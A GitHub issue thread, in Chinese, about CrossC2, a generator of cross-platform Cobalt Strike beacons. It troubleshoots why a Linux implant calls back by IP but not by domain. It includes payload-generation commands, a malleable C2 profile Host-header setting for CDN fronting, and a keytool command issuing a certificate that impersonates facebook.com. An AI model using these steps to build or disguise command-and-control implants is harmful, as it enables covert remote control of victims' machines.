gloxec / CrossC2

generate CobaltStrike's cross-platform payload
2.2k stars 339 forks source link

测试使用cs4.5发现目前只有linux下可以生成被控端且只能ip上线 #198

Closed double-pulsar closed 9 months ago

double-pulsar commented 1 year ago

测试使用cs4.5发现目前只有linux下可以生成被控端且只能ip上线,且需要指定jquery-c2.4.5.profile文件: ./genCrossC2.Linux 1.1.1.1 443 ./.cobaltstrike.beacon_keys ";;jquery-c2.4.5.profile" Linux x64 ./cc4 使用如下命令生成域名上线的则无法上线: ./genCrossC2.Linux www.xxxxx.com 443 ./.cobaltstrike.beacon_keys ";;jquery-c2.4.5.profile" Linux x64 ./cc4 是怎么一回事呢?另外支持win下生成可以上线4.5的exe何时出一下?

gloxec commented 1 year ago
  1. 单纯域名绑定下支持测试是正常的

  2. 域名做CDN后,在c2profile中,需要http-get/post配置正确的Host头,保证流量发包正确

    http-get {
    set uri "/xxxxx";
    set verb "GET";
    client {
    header "Host" "www.example.com";  <------------ 配置正确解析域名
        ...
    }
    }
  3. 后续win或者其他平台的生成器可能都会移除。下个稳定版本会部署在teamserver上,client端可无系统限制生成beacon

double-pulsar commented 1 year ago

用这条命令指定域名上线确实不行呢,用的是cat cs4.5,没用cdn,域名是直接指向vps的,命令如下: ./genCrossC2.Linux www.xxxxx.com 443 ./.cobaltstrike.beacon_keys ";;jquery-c2.4.5.profile" Linux x64 ./cc4 生成的cc4执行时抓包可以抓到有做出dns解析请求,但是无法上线,把c2profile里的header "Host"改成上线域名也不行呢

gloxec commented 1 year ago
  1. 客户端cs->view->web log
  2. 服务端teamserver

查看下这两个地方有没有输出什么信息呢?

double-pulsar commented 1 year ago

这两个地方看了,没有输出任何信息呢,刚想起来会不会是这个情况: ip上线可以正常上线,但是域名上线无法上线,是不是生成的被控端会检查服务器cobaltstrike.store证书呀?我服务器的证书是这样生成的keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=www.facebook.com, OU=facebook, O=facebook, L=facebook, S=facebook, C=CN" 证书域名是www.facebook.com,而上线域名却是其他的,会是这原因吗?

gloxec commented 1 year ago

和这个没关系,你在测试机上直接nslookup你的域名,可以得到解析结果吗?

double-pulsar commented 1 year ago

nslookup www.xxxxx.com可以得到正确解析结果呢,ping也是可以ping出域名的

gloxec commented 1 year ago

那curl的https请求在 客户端cs->view->web log中 可以看到信息吗

double-pulsar commented 1 year ago

客户端cs->view->web log这个日志是看cs上web挂东西时的下载日志吧,和windows/beacon_https/reverse_https监听没关系呀,比如我site managent里面监听下载用的site是80端口,对着windows/beacon_https/reverse_https监听的443端口请求,web log是不会有反应的

gloxec commented 1 year ago

当有网络去请求listener配置的443端口时,如果路径不对,也会显示在weblog中

主机上线一般检查的地方就这两个

  1. weblog 那里可以判断是不是beacon配置的c2profile http访问路径错了
  2. teamserver 那里可以判断是不是beacon的加解密配置是不是和c2profile中的不一致

如果这两个地方都没信息,那可能是

  1. 在listener之前还有一层网络过滤,比如nginx或者其他等等
  2. beacon域名解析有问题,需要tcpdump抓包查看下具体原因

如果是域名解析有问题的话,可以把teamserver关了,在443启个自己的https web服务,看看能不能正常收到beacon的请求

gloxec commented 9 months ago

@double-pulsar v3.2版本暂时推出了windows版本 https://github.com/gloxec/CrossC2/releases/download/v3.2/genCrossC2.Win.zip